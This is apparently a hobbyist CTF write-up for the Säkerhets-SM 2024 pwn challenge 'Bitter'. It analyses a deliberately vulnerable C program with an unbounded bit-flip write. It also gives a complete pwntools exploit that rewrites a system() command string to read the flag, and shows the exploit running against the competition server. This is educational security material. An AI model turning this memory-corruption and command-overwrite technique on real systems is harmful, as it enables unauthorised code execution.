Writeup for Säkerhets-SM 2024 challenge Bitter
On the 8:e mars 2024 the qulifiers for Säkerhets-SM took place. The CTF is described like this:
Säkerhets-SM is a national Capture The Flag competition for high school students. The competition focuses on problem-solving in the areas of programming, cryptography, binary exploitation, reverse engineering, web security, and forensics. The tasks range from beginner-friendly to quite challenging, so even if you have never participated in a CTF before, you can still take part. Above all, you learn a lot from participating.
The competition is arranged by Kodsport in cooperation with FRA which is like Swedens NSA.
At Cybix we made it a tradition to compete in this CTF as an ineligible team. This year there were 100 teams of students competing and 65 ineligible teams. There’s quite a lot of categories and challenges to choose from.
We choose to do a writeup on one of the pwn challenges called Bitter so let’s proceed to do some Recon and get this challenge started.
Recon
First of all let’s check out the challenge page.
Well it’s called bitter and as you can see from the description above there’s not that many clues there. There’s two downloadable files (bitter and bitter.c) so let’s just download them and get going.
Analysing the downloaded files
First of all let’s just use the file command to find out what bitter is.
> file bitter
bitter: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=addbe32cb1c5607bb3086466df4d1fc57a3b1481, for GNU/Linux 3.2.0, not stripped
We could have guessed it but it’s always better to be sure. It’s a ELF 64-bit executable. Let’s see what kind of security measures there is.
[*] '/home/f1rstr3am/Downloads/bitter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
That’s about everything. Might bee bad news for us but now we got all the inbo we need to start looking at the source code to see if we can find any vulnerabilities.
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
struct condement {
char *name;
int amount;
};
struct hummus {
float volume;
struct condement *condements;
_Bool is_bitter;
};
void welcome() {
setvbuf(stdout, NULL, _IONBF, 0); // Disable output buffering
setvbuf(stdin, NULL, _IONBF, 0); // Disable input buffering
puts("Oh no my hummus turned bitter!");
puts("Please help me make it un-bitter, i'll let you flip the bit of the bitterness of the hummus");
}
void print_hummus(struct hummus mummus) {
puts("Hummus:");
printf("\t%foz hummus\n", mummus.volume);
struct condement *p = mummus.condements;
while (p->name) {
printf("\tCondement %s\n", p->name);
printf("\t\tAmount: %d pieces\n", p->amount);
p++;
}
printf("\thummus is %sbitter\n", mummus.is_bitter ? "" : "not ");
}
void flip_hummus(struct hummus *mummus) {
int pos = 0;
printf("position to flip: ");
scanf("%d", &pos);
*(((char *)mummus) + pos / CHAR_BIT) ^= (1 << (pos % CHAR_BIT));
}
int main() {
welcome();
struct condement condements[4] = {
{.name = strdup("apple sauce"), .amount = 3},
{.name = strdup("beef jerky"), .amount = 6},
{.name = strdup("ketchup"), .amount = 2},
};
char mummus[] = "echo Thank you for making my hummus mummus again!";
struct hummus my_bitter_hummus = {
.volume = 4,
.condements = condements,
.is_bitter = 1,
};
while (my_bitter_hummus.is_bitter) {
print_hummus(my_bitter_hummus);
flip_hummus(&my_bitter_hummus);
}
system(mummus);
}
What catches my eye is that last call to system(mummus);
That’s a perfect candidate for some RCE. Let’s go backwards and see how we could reach that code block.
while (my_bitter_hummus.is_bitter) {
print_hummus(my_bitter_hummus);
flip_hummus(&my_bitter_hummus);
}
Obviously we need to change the variable my_bitter_hummus.is_bitter
so that it is false. That varible is part of this struct:
struct hummus {
float volume;
struct condement *condements;
_Bool is_bitter;
};
And that struct includes a pointer to another struct that looks like this:
struct condement {
char *name;
int amount;
};
Let’s look at th function flip_hummus()
and see what it does.
void flip_hummus(struct hummus *mummus) {
int pos = 0;
printf("position to flip: ");
scanf("%d", &pos);
*(((char *)mummus) + pos / CHAR_BIT) ^= (1 << (pos % CHAR_BIT));
}
So here we can input a number that is put into the pos
variable. And then everything comes down to this line of code where pos
is used:
*(((char *)mummus) + pos / CHAR_BIT) ^= (1 << (pos % CHAR_BIT));
So what happens there is that it takes the pointer to hummus
add pos divided by the amount of bits in a char (8). Since we are dealing with integers here that means that the pointer will increase one byte each 8th pos.
Then it takes pos and makes a modulo with the amount of bits in a char. This means it will go from 0 to 7 repeating all over as the pos
is increased.
Then it left shifts a 0x00000001 using that modulated pos and xors that tot the byte where the pointer that was caclulated points. This tells me that we are able xor a byte pattern with one bit set over and over again starting in memory from hummus
.
So what does memory look like there?
struct condement condements[4] = {
{.name = strdup("apple sauce"), .amount = 3},
{.name = strdup("beef jerky"), .amount = 6},
{.name = strdup("ketchup"), .amount = 2},
};
char mummus[] = "echo Thank you for making my hummus mummus again!";
struct hummus my_bitter_hummus = {
.volume = 4,
.condements = condements,
.is_bitter = 1,
};
That’s interesting. We are able to change bits in the mummus[]
one by one using xor. But there´s nothing stopping us from going further in memory and changing the hummus
and whatever we need. I think we got everything we need to write some exploit code now. Let’s go!
Writing the exploit code
The original command stored in mummus[]
is "echo Thank you for making my hummus mummus again!"
. Instead of echoing a string we would like to execute our own command. We could go on and spawn a shell but since this is a CTF and we just need to print the flag as fast as possible let’s go with cat flag.txt
.
Let’s see what we need to do. First of all we must change the leading character ‘e’ (0x01100101). We want to change that into the character ‘c’ (0x01100011) let’s compare them in their binary forms:
e 01100101
c 01100011
Starting with the least significant bit you can see that they ar both 1 so we could leave that unchanged. The second one needs to be changed from 0 to one so we can xor that with one like this:
e 01100101
^ 00000010
= 01100111
Now if we compare what we got after that xor with what we want we can see this:
01100111
c 01100011
The only thing we need to change now is that third bit which is a one, it should be a zero so lets just xor it like this:
01100111
^ 00000100
= 01100011
And that’s or ‘c’ character, we could now move on with the next character and change that to an ‘a’ and so on looping until we changed everything into our command. The algorithm is to iterate over every bit and compare what we got with what we want. Then if they are the same just leave it and if they differ we bitflip by xor.
When that is done we need to break out of the loop by changing ìs_bitter
to a value of false. Given all the strings, floats, integers and bools in the structs we end up with some offsets used in the exploit code to locate the ìs_bitter
. This variable is a bool which mean it’s just 0 or 1. We just need flip one bit from 0 to 1 to break the loop.
To accomplish that I came up with this rather dirty exploit code (Not my proudest moment):
from pwn import *
binary_path = './bitter'
def start_binary():
return process(binary_path)
#return(remote("46.246.30.233",50000))
def flip_bit(proc, position):
proc.sendlineafter(b"position to flip: ", bytes(str(position), 'utf-8'))
def flip_is_bitter(proc):
flip_bit_position = 128
flip_bit(proc, flip_bit_position)
def main():
target_command = "cat flag.txt"
original_length = len("echo Thank you for making my hummus mummus again!")
padded_command = target_command.ljust(original_length, '\x00')
proc = start_binary()
original_command = "echo Thank you for making my hummus mummus again!".ljust(len(padded_command), '\x00')
for i, (orig_char, target_char) in enumerate(zip(original_command, padded_command)):
print(orig_char + ' to ' + target_char)
for bit in range(8):
orig_bit = ord(orig_char) & (1 << bit)
target_bit = ord(target_char) & (1 << bit)
if orig_bit != target_bit:
bit_position = i * 8 + bit + 768
flip_bit(proc, bit_position)
print("{0:b}".format(target_bit).zfill(8))
print("{0:b}".format(orig_bit).zfill(8))
flip_is_bitter(proc)
print(proc.recvall())
if __name__ == "__main__":
main()
There’s not much more to do than to try it out. We start locally and then change it to go against our target.
Gaining access
To try this out locally we need to create our own flag.
┌──(root㉿e608665ab3ea)-[/]
└─# echo "SSM{fake_flag_for_testing}" > flag.txt
And now just run the exploit code.
Voila! Works perfectly. Let’s just adjust some lines of python to launch it against our target.
#return process(binary_path)
return(remote("46.246.30.233",50000))
And in the end we get the real flag.
n to \x00
00000000
00000010
00000000
00000100
00000000
00001000
00000000
00100000
00000000
01000000
! to \x00
00000000
00000001
00000000
00100000
[+] Receiving all data: Done (46B)
[*] Closed connection to 46.246.30.233 port 50000
b'128\r\nSSM{b1773r_hummu5_2r_1n73_277_13k2_m3d}\r\n'
We are done here and can move on to the next challenge. Let’s sum it all up.
Summary
I tend to go on nagging about how I like my CTF-challenges to be real world. This one is very much NOT like that. This tends to be more like a puzzle with a touch of reverse engineering. But I still liked it. Sometime somewhere there might be a bug in a program that enables you to flip one bit at the time in a given memory region… who knows!!! :)
The CTF overall had everything from very easy beginner struff to quite complicated challenges. We did not finish all challenges within the given time and I must say that I am impressed by the one team that did. If we were eligible to compete we would have two teams ahead of us.
We ended up in top of the scoreboard of the teams that are ineligible to compete.
This was the third time we did this CTF and my guess is that we will do it again next year. You always learn something new and it’s really nice to take a beating from a handfull of talanted students. :)
Until next time, happy hacking!
/f1rstr3am